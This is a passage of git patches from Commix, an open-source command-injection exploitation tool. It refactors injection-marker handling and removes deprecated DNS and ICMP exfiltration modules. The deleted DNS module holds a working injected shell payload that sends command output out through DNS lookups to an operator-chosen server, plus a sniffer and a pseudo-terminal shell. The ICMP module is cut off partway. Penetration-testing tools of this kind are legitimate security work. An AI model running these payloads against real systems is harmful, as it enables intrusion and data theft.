- data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ if inject_http_headers:
+ data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC)
+ else:
+ data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
if settings.INJECT_TAG in url:
tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
@@ -166,7 +169,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
if cookie:
request.add_header(settings.COOKIE, cookie)
if inject_http_headers:
- request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC))
+ request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC))
headers.do_check(request)
response = requests.get_request_response(request)
@@ -738,7 +741,7 @@ def basic_level_checks():
if menu.options.shellshock:
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
else:
- if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED:
+ if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.WILDCARD_CHAR_APPLIED != True:
menu.options.level = settings.USER_SUPPLIED_LEVEL
check_for_stored_levels(url, http_request_method)
diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py
index 91ab8f6b5d..f06e8b04be 100755
--- a/src/core/injections/controller/parser.py
+++ b/src/core/injections/controller/parser.py
@@ -118,8 +118,8 @@ def invalid_data(request):
request_url = re.findall(r"" + " (.*) HTTP/", request)
if request_url:
- # Check last line for POST data
- if len(request.splitlines()[-1]) != 0:
+ # Check empty line for POST data.
+ if len(request.splitlines()[-2]) == 0:
result = [item for item in request.splitlines() if item]
multiple_xml = []
for item in result:
@@ -194,8 +194,7 @@ def invalid_data(request):
else:
menu.options.url = prefix + menu.options.host + request_url
if single_request:
- sys.stdout.write(settings.SUCCESS_STATUS + "\n")
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
if menu.options.logfile and settings.VERBOSITY_LEVEL != 0:
sub_content = http_method + " " + prefix + menu.options.host + request_url
print(settings.print_sub_content(sub_content))
diff --git a/src/core/main.py b/src/core/main.py
index 43c7ec91df..2613efc0cb 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -61,24 +61,74 @@
init()
"""
-Check for HTTP Method
+Check for custom injection marker (*)
"""
-def check_http_method(url):
- if len(settings.HTTP_METHOD) != 0:
- http_request_method = settings.HTTP_METHOD.upper()
+def check_custom_injection_marker(url):
+
+ parameter = ""
+ if url and settings.WILDCARD_CHAR in url:
+ option = "'-u'"
+ settings.WILDCARD_CHAR_APPLIED = True
+ parameter = parameters.do_GET_check(url, http_request_method)
+ parameter = parameters.vuln_GET_param(parameter[0])
+ elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data:
+ option = "POST body"
+ settings.WILDCARD_CHAR_APPLIED = True
+ parameter = parameters.do_POST_check(menu.options.data, http_request_method)
+ parameter = parameters.vuln_POST_param(parameter, url)
else:
- if not menu.options.data or \
- not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in url or \
- settings.INJECT_TAG in url or \
- [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]:
- http_request_method = settings.HTTPMETHOD.GET
- else:
- http_request_method = settings.HTTPMETHOD.POST
+ option = "option '--headers/--user-agent/--referer/--cookie'"
+ if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.COOKIE_INJECTION_LEVEL
+ cookie = parameters.do_cookie_check(menu.options.cookie)
+ parameter = parameters.specify_cookie_parameter(cookie)
- if menu.options.offline:
- settings.CHECK_FOR_UPDATES_ON_START = False
+ elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
+ parameter = "user-agent"
- return http_request_method
+ elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
+ parameter = "referer"
+
+ elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers:
+ _ = True
+ for data in menu.options.headers.split("\\n"):
+ # Ignore the Accept HTTP Header
+ if not data.startswith(settings.ACCEPT):
+ _ = False
+ if _:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
+ parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR)
+
+ if settings.WILDCARD_CHAR_APPLIED:
+ if menu.options.test_parameter:
+ if not settings.MULTI_TARGETS or not settings.IS_TTY:
+ err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") "
+ err_msg += "cannot be used simultaneously (i.e. only one option must be set)."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit
+
+ while True:
+ message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". "
+ message += "Do you want to process it? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
+ menu.options.test_parameter = parameter
+ return
+ elif procced_option in settings.CHOICE_NO:
+ settings.WILDCARD_CHAR_APPLIED = None
+ return
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + procced_option + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
"""
@@ -309,6 +359,9 @@ def init_injection(url):
"""
def main(filename, url):
try:
+ if menu.options.offline:
+ settings.CHECK_FOR_UPDATES_ON_START = False
+
# Ignore the mathematic calculation part (Detection phase).
if menu.options.skip_calc:
settings.SKIP_CALC = True
@@ -320,70 +373,32 @@ def main(filename, url):
if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or not settings.IS_TTY:
settings.WILDCARD_CHAR_APPLIED = False
- parameter = ""
- if menu.options.url and settings.WILDCARD_CHAR in menu.options.url:
- option = "'-u'"
- settings.WILDCARD_CHAR_APPLIED = True
- parameter = parameters.do_GET_check(menu.options.url, http_request_method)
- parameter = parameters.vuln_GET_param(parameter[0])
- elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data:
- option = "POST body"
- settings.WILDCARD_CHAR_APPLIED = True
- parameter = parameters.do_POST_check(menu.options.data, http_request_method)
- if len(parameter) == 0:
- parameter = parameter[0]
- parameter = parameters.vuln_POST_param(parameter, url="")
- else:
- option = "option '--headers/--user-agent/--referer/--cookie'"
- if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie:
- settings.WILDCARD_CHAR_APPLIED = True
- menu.options.level = settings.COOKIE_INJECTION_LEVEL
- cookie = parameters.do_cookie_check(menu.options.cookie)
- parameter = parameters.specify_cookie_parameter(cookie)
-
- elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent:
- settings.WILDCARD_CHAR_APPLIED = True
- menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
- parameter = "user-agent"
+ check_custom_injection_marker(url)
- elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer:
- settings.WILDCARD_CHAR_APPLIED = True
- menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
- parameter = "referer"
-
- elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers:
- _ = True
- for data in menu.options.headers.split("\\n"):
- # Ignore the Accept HTTP Header
- if not data.startswith(settings.ACCEPT):
- _ = False
- if _:
- settings.WILDCARD_CHAR_APPLIED = True
- menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
- parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR)
-
- if menu.options.test_parameter and settings.WILDCARD_CHAR_APPLIED:
- err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") "
- err_msg += "cannot be used simultaneously (i.e. only one option must be set)."
+ # Define the level of tests to perform.
+ if menu.options.level == settings.DEFAULT_INJECTION_LEVEL:
+ settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index)
+ settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index)
+ settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index)
+ settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index)
+ settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index)
+ elif menu.options.level == settings.COOKIE_INJECTION_LEVEL:
+ settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index)
+ settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index)
+ settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index)
+ settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index)
+ settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index)
+ elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL:
+ settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index)
+ settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index)
+ settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index)
+ settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index)
+ settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index)
+ else:
+ err_msg = "The value for option '--level' "
+ err_msg += "must be an integer value from range [1, 3]."
print(settings.print_critical_msg(err_msg))
- raise SystemExit
-
- if settings.WILDCARD_CHAR_APPLIED:
- while True:
- message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". "
- message += "Do you want to process it? [Y/n] > "
- procced_option = common.read_input(message, default="Y", check_batch=True)
- if procced_option in settings.CHOICE_YES:
- menu.options.test_parameter = parameter
- break
- elif procced_option in settings.CHOICE_NO:
- break
- elif procced_option in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + procced_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
+ raise SystemExit()
if menu.options.test_parameter and menu.options.skip_parameter:
if type(menu.options.test_parameter) is bool:
@@ -788,31 +803,6 @@ def main(filename, url):
if menu.options.level != settings.DEFAULT_INJECTION_LEVEL:
settings.USER_SUPPLIED_LEVEL = menu.options.level
- # Define the level of tests to perform.
- if menu.options.level == settings.DEFAULT_INJECTION_LEVEL:
- settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index)
- settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index)
- settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index)
- settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index)
- settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index)
- elif menu.options.level == settings.COOKIE_INJECTION_LEVEL:
- settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index)
- settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index)
- settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index)
- settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index)
- settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index)
- elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL:
- settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index)
- settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index)
- settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index)
- settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index)
- settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index)
- else:
- err_msg = "The value for option '--level' "
- err_msg += "must be an integer value from range [1, 3]."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
# Define the local path where Metasploit Framework is installed.
if menu.options.msf_path:
settings.METASPLOIT_PATH = menu.options.msf_path
@@ -839,7 +829,7 @@ def main(filename, url):
url = menu.options.url
if settings.IS_TTY and not menu.options.bulkfile and not settings.CRAWLING:
- http_request_method = check_http_method(url)
+ http_request_method = checks.check_http_method(url)
if os_checks_num == 0:
settings.INIT_TEST = True
response, url = url_response(url)
@@ -919,7 +909,7 @@ def main(filename, url):
print(settings.print_info_msg(info_msg))
url_num = 0
for url in clean_output_href:
- http_request_method = check_http_method(url)
+ http_request_method = checks.check_http_method(url)
if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS:
url_num += 1
print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 54d23d64aa..dab16c0b3f 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -371,8 +371,7 @@ def do_check(request):
http_header_value = extra_header.split(':', 1)[1]
http_header_value = ''.join(http_header_value).strip().replace(": ",":")
# Check if it is a custom header injection.
- if settings.CUSTOM_HEADER_INJECTION == False and \
- (settings.INJECT_TAG in http_header_value or http_header_name in settings.TEST_PARAMETER):
+ if settings.CUSTOM_HEADER_INJECTION == False and http_header_name in settings.TEST_PARAMETER:
settings.CUSTOM_HEADER_INJECTION = True
settings.CUSTOM_HEADER_NAME = http_header_name
settings.CUSTOM_HEADER_VALUE = http_header_value
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 3bab67ed60..ccd7761cb7 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -346,7 +346,8 @@ def do_POST_check(parameter, http_request_method):
Define the vulnerable POST parameter.
"""
def vuln_POST_param(parameter, url):
-
+ if isinstance(parameter, list):
+ parameter = " ".join(parameter)
# JSON data format
if settings.IS_JSON:
param = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0])
diff --git a/src/utils/settings.py b/src/utils/settings.py
index af95d1fba3..73312dd725 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "74"
+REVISION = "75"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 94c486340fa8322cc910d02c63724e05e4320ef4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 3 Jun 2022 08:59:38 +0300
Subject: [PATCH 152/560] The depricated modules "ICMP exfiltration" and "DNS
exfiltration" have been removed.
---
doc/CHANGELOG.md | 1 +
src/core/modules/dns_exfiltration/__init__.py | 16 -
.../dns_exfiltration/dns_exfiltration.py | 263 ---------------
.../modules/icmp_exfiltration/__init__.py | 16 -
.../icmp_exfiltration/icmp_exfiltration.py | 302 ------------------
src/core/modules/modules_handler.py | 24 --
src/utils/menu.py | 11 -
src/utils/settings.py | 2 +-
8 files changed, 2 insertions(+), 633 deletions(-)
delete mode 100644 src/core/modules/dns_exfiltration/__init__.py
delete mode 100755 src/core/modules/dns_exfiltration/dns_exfiltration.py
delete mode 100644 src/core/modules/icmp_exfiltration/__init__.py
delete mode 100755 src/core/modules/icmp_exfiltration/icmp_exfiltration.py
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 7f1c8627af..ca70c3d3fa 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed.
* Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options.
* Revised: Improvement regarding shellshock module.
* Added: Support regarding parsing target(s) from piped-input (i.e. stdin).
diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py
deleted file mode 100644
index 7ce1185b92..0000000000
--- a/src/core/modules/dns_exfiltration/__init__.py
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/usr/bin/env python
-# encoding: UTF-8
-
-"""
-This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
-
-This program is free software: you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation, either version 3 of the License, or
-(at your option) any later version.
-
-For more see the file 'readme/COPYING' for copying permission.
-"""
-
-pass
\ No newline at end of file
diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py
deleted file mode 100755
index 50739f4335..0000000000
--- a/src/core/modules/dns_exfiltration/dns_exfiltration.py
+++ /dev/null
@@ -1,263 +0,0 @@
-#!/usr/bin/env python
-# encoding: UTF-8
-
-"""
-This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
-
-This program is free software: you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation, either version 3 of the License, or
-(at your option) any later version.
-
-For more see the file 'readme/COPYING' for copying permission.
-"""
-
-import os
-import sys
-import time
-import signal
-from src.thirdparty.six.moves import input as _input
-from src.thirdparty.six.moves import urllib as _urllib
-import threading
-from src.utils import menu
-from src.utils import logs
-from src.utils import common as _common
-from src.utils import settings
-from src.thirdparty.colorama import Fore, Back, Style, init
-from src.core.requests import tor
-from src.core.requests import proxy
-from src.core.requests import headers
-from src.core.requests import parameters
-from src.core.convert import hexdecode
-from src.core.shells import reverse_tcp
-from src.core.injections.controller import checks
-
-import logging
-logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
-
-from scapy.all import *
-
-"""
-The DNS exfiltration technique:
-exfiltrate data using a user-defined DNS server [1].
-
-[1] http://www.contextis.com/resources/blog/data-exfiltration-blind-os-command-injection/
-"""
-
-def querysniff(pkt):
- if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0:
- if ".xxx" in pkt.getlayer(DNS).qd.qname:
- print(hexdecode(pkt.getlayer(DNS).qd.qname.split(".xxx")[0]))
-
-def signal_handler(signal, frame):
- os._exit(0)
-
-def snif(dns_server):
- info_msg = "Started the sniffer between you and the DNS server '"
- info_msg += Style.BRIGHT + Fore.YELLOW + dns_server + Style.RESET_ALL + "'."
- print(settings.print_bold_info_msg(info_msg))
- while True:
- sniff(filter="port 53", prn=querysniff, store = 0)
-
-def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter):
- # DNS exfiltration payload.
- payload = ("; " + cmd + " | xxd -p -c 16 | while read line; do host $line.xxx " + dns_server + "; done")
-
- # Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL != 0:
- sys.stdout.write("\n" + settings.print_payload(payload))
-
- # Check if defined POST data
- if not settings.USER_DEFINED_POST_DATA:
- url = url.replace(settings.INJECT_TAG, "")
- data = payload.replace(" ", "%20")
- request = url + data
- else:
- values = {vuln_parameter:payload}
- data = _urllib.parse.urlencode(values).encode(settings.DEFAULT_CODEC)
- request = _urllib.request.Request(url=url, data=data)
-
- sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n")
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
- time.sleep(2)
- sys.stdout.write("\n" + Style.RESET_ALL)
-
-def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique):
-
- err_msg = ""
- if menu.enumeration_options():
- err_msg += "enumeration"
- if menu.file_access_options():
- if err_msg != "":
- err_msg = err_msg + " and "
- err_msg = err_msg + "file-access"
-
- if err_msg != "":
- warn_msg = "The " + err_msg + " options are not supported "
- warn_msg += "by this module because of the structure of the exfiltrated data. "
- warn_msg += "Please try using any unix-like commands manually."
- print(settings.print_warning_msg(warn_msg))
-
- # Pseudo-Terminal shell
- go_back = False
- go_back_again = False
- while True:
- if go_back == True:
- break
- message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
- gotshell = _common.read_input(message, default="Y", check_batch=True)
- if gotshell in settings.CHOICE_YES:
- print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
- if settings.READLINE_ERROR:
- checks.no_readline_module()
- while True:
- try:
- if not settings.READLINE_ERROR:
- checks.tab_autocompleter()
- sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default="os_shell", check_batch=True)
- cmd = checks.escaped_cmd(cmd)
- if cmd.lower() in settings.SHELL_OPTIONS:
- if cmd.lower() == "quit" or cmd.lower() == "back":
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
- elif cmd.lower() == "?":
- menu.os_shell_options()
- elif cmd.lower() == "os_shell":
- warn_msg = "You are into the '" + cmd.lower() + "' mode."
- print(settings.print_warning_msg(warn_msg))+ "\n"
- elif cmd.lower() == "reverse_tcp":
- warn_msg = "This option is not supported by this module."
- print(settings.print_warning_msg(warn_msg))+ "\n"
- else:
- # Command execution results.
- cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter)
-
- except KeyboardInterrupt:
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
-
- except:
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
-
- elif gotshell in settings.CHOICE_NO:
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
-
- elif gotshell in settings.CHOICE_QUIT:
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
-
- else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
-
-
-def exploitation(dns_server, url, http_request_method, vuln_parameter, technique):
- # Check injection state
- settings.DETECTION_PHASE = False
- settings.EXPLOITATION_PHASE = True
- #signal.signal(signal.SIGINT, signal_handler)
- sniffer_thread = threading.Thread(target=snif, args=(dns_server, )).start()
- #time.sleep(2)
- if menu.options.os_cmd:
- cmd = menu.options.os_cmd
- cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter)
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
- else:
- input_cmd(dns_server, http_request_method, url, vuln_parameter, technique)
-
-
-def dns_exfiltration_handler(url, http_request_method):
- # Check injection state
- settings.DETECTION_PHASE = True
- settings.EXPLOITATION_PHASE = False
- # You need to have administrative privileges to run this module.
- if not _common.running_as_admin():
- err_msg = "You need to have administrative privileges to run this module."
- print(settings.print_critical_msg(err_msg))
- os._exit(0)
-
- # Check if defined POST data
- if not settings.USER_DEFINED_POST_DATA:
- #url = parameters.do_GET_check(url, http_request_method)
- vuln_parameter = parameters.vuln_GET_param(url)
- request = _urllib.request.Request(url)
- headers.do_check(request)
-
- else:
- parameter = menu.options.data
- #parameter = _urllib.parse.unquote(parameter)
- parameter = parameters.do_POST_check(parameter, http_request_method)
- request = _urllib.request.Request(url, parameter)
- headers.do_check(request)
- vuln_parameter = parameters.vuln_POST_param(parameter, url)
-
- # Check if defined any HTTP Proxy.
- if menu.options.proxy:
- try:
- response = proxy.use_proxy(request)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- print("\n" + settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- os._exit(0)
-
- # Check if defined Tor.
- elif menu.options.tor:
- try:
- response = tor.use_tor(request)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- print("\n" + settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- os._exit(0)
-
- else:
- try:
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- print("\n" + settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- os._exit(0)
-
- if settings.TARGET_OS == "win":
- err_msg = "This module's payloads are not suppoted by "
- err_msg += "the identified target operating system."
- print(settings.print_critical_msg(err_msg) + "\n")
- os._exit(0)
-
- else:
- dns_server = menu.options.dns_server
- technique = "DNS exfiltration module"
- info_msg = "Loading the " + technique + ". \n"
- sys.stdout.write(settings.print_info_msg(info_msg))
- exploitation(dns_server, url, http_request_method, vuln_parameter, technique)
-
-if __name__ == "__main__":
- dns_exfiltration_handler(url, http_request_method)
-
-# eof
\ No newline at end of file
diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py
deleted file mode 100644
index 7ce1185b92..0000000000
--- a/src/core/modules/icmp_exfiltration/__init__.py
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/usr/bin/env python
-# encoding: UTF-8
-
-"""
-This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
-
-This program is free software: you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation, either version 3 of the License, or
-(at your option) any later version.
-
-For more see the file 'readme/COPYING' for copying permission.
-"""
-
-pass
\ No newline at end of file
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
deleted file mode 100755
index 5a45db8d81..0000000000
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ /dev/null
@@ -1,302 +0,0 @@
-#!/usr/bin/env python
-# encoding: UTF-8
-
-"""
-This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
-
-This program is free software: you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation, either version 3 of the License, or
-(at your option) any later version.
-
-For more see the file 'readme/COPYING' for copying permission.
-"""
-
-import re
-import os
-import sys
-import time
-import signal
-from src.thirdparty.six.moves import input as _input
-from src.thirdparty.six.moves import urllib as _urllib
-from src.thirdparty.six.moves import http_client as _http_client
-import threading
-from src.utils import menu
-from src.utils import logs
-from src.utils import common as _common
-from src.utils import settings
-from src.thirdparty.colorama import Fore, Back, Style, init
-from src.core.requests import tor
-from src.core.requests import proxy
-from src.core.requests import headers
-from src.core.requests import parameters
-from src.core.shells import reverse_tcp
-from src.core.injections.controller import checks
-
-import logging
-logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
-
-from scapy.all import *
-
-"""
-The ICMP exfiltration technique:
-Exfiltrate data using the ping utility.
-
-[1] http://blog.ring-zer0.com/2014/02/data-exfiltration-on-linux.html
-[2] http://blog.curesec.com/article/blog/23.html
-"""
-
-add_new_line = True
-exfiltration_length = 8
-
-def packet_handler(Packet):
- global add_new_line
- if Packet.haslayer(ICMP):
- Data = Packet.getlayer(ICMP).getlayer(Raw)
- exfiltrated_data = Data.load[int(exfiltration_length):].replace(exfiltration_length * "\n","\n")
- if exfiltrated_data.endswith("\n"):
- add_new_line = False
- sys.stdout.write(exfiltrated_data)
- sys.stdout.flush()
-
-def signal_handler(signal, frame):
- sys.stdout.write(Style.RESET_ALL)
- exit(0)
-
-def snif(ip_dst, ip_src):
- info_msg = "Started the sniffer between " + Fore.YELLOW + ip_src
- info_msg += Style.RESET_ALL + Style.BRIGHT + " and " + Fore.YELLOW
- info_msg += ip_dst + Style.RESET_ALL + Style.BRIGHT + "."
- print(settings.print_bold_info_msg(info_msg))
-
- while True:
- sniff(filter = "icmp and src " + ip_dst, prn=packet_handler, timeout=settings.TIMESEC)
-
-def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src):
- global add_new_line
- # ICMP exfiltration payload.
